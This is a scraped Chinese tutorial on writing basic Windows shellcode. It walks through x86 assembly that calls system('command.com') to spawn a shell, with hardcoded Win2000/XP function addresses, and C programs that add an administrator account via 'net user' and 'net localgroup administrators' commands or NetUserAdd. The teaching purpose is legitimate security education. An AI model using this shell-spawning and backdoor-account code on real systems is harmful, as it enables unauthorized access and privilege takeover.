二、Windows 下 ShellCode 編寫初步

來源:互聯網
上載者:User

標籤:相關   完成   系統調用   proc   常量   mes   alt   字元   ==   

第二章、Windows 下 ShellCode 編寫初步(一)shellcode

定義:最先的 Shell 指的是人機互動介面,ShellCode 是一組能完成我們想要的功能的機器代碼,通常以十六進位數組的形式存在
NOTES:電腦每次都只是執行當前 EIP 指向的指令(單 CPU)。在當前指令執行後,EIP 會自動加 1,從而指向下一條指令。如果有 JMP CALL RET 一類的指令,EIP 就會被強行改變成指定的地址,從而完成流程的跳轉

(二)開啟控制台視窗的 C 程式

升級版:

程式解釋:
(1)typedef void (*MYPROC)(LPTSTR)
定義了一個函數指標,其指向函數的參數是字串,傳回值是空。該指標的作用是用於指向 system 函數,在後面調用它,就相當於調用 system 函數
(2)LibHandle = LoadLibrary(“msvcrt.dll”)
載入 msvcrt.dll 這個動態連結程式庫,動態連結程式庫的控制代碼賦給 LibHandle
(3)ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system");
獲得動態連結程式庫的控制代碼後,我們再使用“GetProcAddress(LibHandle, system)”獲得 system 的真真實位址。之後再使用這個真真實位址來調用 system 函數。執行該語句後,ProcAdd 為指向 system 函數的指標(而不是地址(*)),即ProcAdd 存的是 system 函數的地址
(4)(ProcAdd) ("command.com");
因為此時的 ProcAdd 為指向 system 函數的指標,所以“(ProcAdd) ("command.com")”就是調用“system("command.com")”,完成我們想要的功能

(三)查看函數的地址

看 system 函數的地址:在 VC 下按 F10 進入調試狀態,然後在 Debug 工具列中,點最後一個按鈕‘Disassemble’和第四個按鈕‘Registers’,這樣就出現了來源程式的彙編代碼和寄存器狀態視窗
按 F10,程式就會逐步執行
EAX的值即為msvcrt.dll 的地址(‘LibHandle = LoadLibrary("msvcrt.dll")’那句下的call dword ptr [[email protected]4(0042413c)]就是執行‘LoadLibrary("msvcrt.dll")’,傳回值就是 msvcrt.dll 的地址;而函數的傳回值,通常都是放在 EAX 中)

(四)Windows 下的函數調用原理
  1. windows 下,函數的調用需要先把函數所在的動態連結程式庫 Load 進去,這點大家都清楚。而在執行的時候用堆棧傳遞參數,然後直接 CALL 該函數的地址.
    2.NOTES:Linux 下,函數的執行是使用系統中斷調用。系統把函數的系統調用碼給 EAX(如 execve 是 0xb),函數帶的參數給其他寄存器,最後執行 int$0x80 中斷指令,完成函數的執行
    3.例:在 Windows 下執行函數 Func(argv1, argv2, argv3) ,先把參數從右至左壓入堆棧,這裡就是依次把 argv3、argv2、argv1 壓入堆棧裡,然後 Call Func 函數的地址,這裡的 Call Func
    函數地址,其實等於兩步,一是儲存當前 EIP,二是跳到 Func 函數的地址執行,即 Push EIP + Jmp Func
(五)彙編和機器碼——真正 ShellCode 的產生

1.寫system(“command.exe”) 的彙編代碼
不知道 command.exe 字串的地址,故而自己構造,把‘command.exe’一個字元一個字元的壓入堆棧

ESP 正好是 command.exe 字串的地址,然後PUSH ESP

NOTE:1.電腦入棧是壓四個位元組,那我們就每次 PUSH 四個位元組;或者我們就一個位元組一個字
節地把值賦入堆棧,不用 PUSH,而直接用賦值,如下:

mov esp,ebp ;
mov ebp,esp ; 把當前 esp 賦給 ebp作為棧底
xor edi,edi ;
push edi ;壓入 0,esp-4,; 作用是構造字串的結尾\0 字元。
sub esp,08h ;加上上面,一共有 12 個位元組,;用來放"command.com"。
mov byte ptr [ebp-0ch],63h ; c
mov byte ptr [ebp-0bh],6fh ; o
mov byte ptr [ebp-0ah],6dh ; m
mov byte ptr [ebp-09h],6Dh ; m
mov byte ptr [ebp-08h],61h ; a
mov byte ptr [ebp-07h],6eh ; n
mov byte ptr [ebp-06h],64h ; d
mov byte ptr [ebp-05h],2Eh ; .
mov byte ptr [ebp-04h],63h ; c
mov byte ptr [ebp-03h],6fh ; o
mov byte ptr [ebp-02h],6dh ; m 一個一個產生串"command.com".
lea eax,[ebp-0ch] ;
push eax ; command.com 串地址作為參數入棧
mov eax, 0x7801AFC3 ;
call eax ; call system 函數的地址

(1)‘push edi’和‘sub esp,08h’是把 esp 減去 12 位元組,這 12 個位元組空間就用來放(2)command.com’;(2)‘mov byte ptr [ebp-0ch],63h’等,是我們把 command.com 一個位元組一個位元組的放進留出的空間中;
(3)‘lea eax,[ebp-0ch]’來獲得構造的 command.com 字串的地址;
(4)‘push eax’把地址壓入堆棧,call system 函數的地址就完成了

(六)ShellCode 通用性的初步分析

由於系統版本不一,造成 LoadLibrary 和 system 函數的地址不同

NOTES:自動尋找函數地址的程式 GetAddr.cpp:

include <windows.h>include <stdio.h>

typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("msvcrt");
printf("msvcrt LibHandle = //x%x\n", LibHandle);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"system");
printf("system = //x%x\n", ProcAdd);
return 0;
}

NOTES:
kernel32.dll中的LoadLibrary 函 數
user32.dll 中的 MessageBox 函數

1.彈出 Windows 對話方塊 ShellCode 的編寫

include "windows.h"

int main(int argc, char* argv[])
{
LoadLibrary("user32.dll");
MessageBox(0, "ww0830","ww", 1);
return 0;
}

2.添加使用者 ShellCode 的編寫
1.(1)添加使用者:net user name /add
(2)帳戶添加到管理員: DOS 命令列下執行 net localgroup administrators name /add

include <windows.h>

int main()
{
LoadLibrary("msvcrt.dll");
system("net user c /add");
system("net localgroup administrators c /add");
return 0;
}

2.添加使用者的另一種方法
用的是 Netapi32.dll 裡的 NetUserAdd 和 NetLocalGroupAddMembers 函數
NOTES:
(1)ASCII 編碼是用一個位元組來表示字元,這樣只有 256 種組合
Unicode 是用兩個位元組(16 位)來表示字元,這樣共有 65536 種組合

ifndef UNICODE
define UNICODEendifinclude <stdio.h>include <windows.h>include <lm.h>pragma comment(lib,"netapi32")

int wmain()
{
USER_INFO_1 ui;
DWORD dwError = 0;
ui.usri1_name = L"ww0830";
ui.usri1_password = L"ww0830";
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
//添加名為 ww0830 的使用者,密碼也為 ww0830
if(NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success)
{
//添加成功
printf("Add user success.\n");
}
else
{
//添加失敗
printf("Add user Error!\n");
return 1;
}
wchar_t szAccountName[100]={0};
wcscpy(szAccountName,L"ww0830");
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname=szAccountName;
//把 ww0830 添加到 Administrators 組
if(NetLocalGroupAddMembers(NULL,L"Administrators",3,(LPBYTE)&account,1)==
NERR_Success )
{
//添加成功
printf("Add to Administrators success.\n");
return 0;
}
else
{
//添加失敗
printf("Add to Administrators Fail!\n");
return 1;
}
}

NOTES:
1.尋找到 LoadLibraryA 函數的地址是 0x77E6A254,system 函數的地址是 0x78019B4A,都是正確的,但為什麼我把 ShellCode 對應的地方改成“\x77\xE6\xA2\x54”和“\x78\x01\x9B\x4A”後,不能彈出 DOS 視窗呢?
注意別把位元組的順序寫反了,應該是“\x54\xA2\xE6\x77”和“\x4A\x9B\x01\x78”
2.在 Windows 系統下,多位元組數存放的規則是:數的高位放在記憶體高址,數的低位放在記憶體低址。對0x77E6A25478 來說,0x77 是最高位,所以要放在記憶體的高地址,而在字串中,是按照記憶體從低到高排列的,所以要把 0x77 放在字串中數的最後。
3.LoadLibraryA 和 system 函數的地址在 Win2000 SP0 下,分別是 0x77E78023 和 0x7801AAAD;在SP2 下分別是 0x77E6A254 和 0x78019B4A;在 SP3 下分別是 0x77E69F64 和 0x7801AFC3;在 XP SP0 下分別是 0x77E605D8 和 0x77BF8044

  1. 為何LoadLibrary 函數在系統裡面有 LoadLibraryA 和 LoadLibraryW 兩種實現?而system只有一個呢?
    在 Windows 下,存在幾種編程介面。

(1) Windows API 函數。這類函數是和 Windows 系統相關的,使用的也是 Windows 下才特有的資料類型(比如 CHAR)。API 函數就存在 A 和 W 這兩種實現,而 LoadLibrary 是 API 函數。
(2)C運行連結庫,是按照C語言的標準來實現的,所以只有小寫字母,而且只有一種實現,比如system
函數( C 語言標準中,規定函數名稱都是小寫)
5.Windows 應用程式的標識符通常用“大小寫”混排的方式,如AddChild; Windows 下建議使用“匈牙利”命名規則,類名和函數名用大寫字母開頭的單片語合而成,變數和參數用小寫字母開頭的單片語合而成,常量全用大寫,全域變數加首碼“g”,類的資料成員加首碼“m_”
Unix應用程式的標識符用“小寫加底線”的方式,如add_child

  1. ShellCode 裡面不能有 0x00,因為 0x00 是字串的結束符

二、Windows 下 ShellCode 編寫初步

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.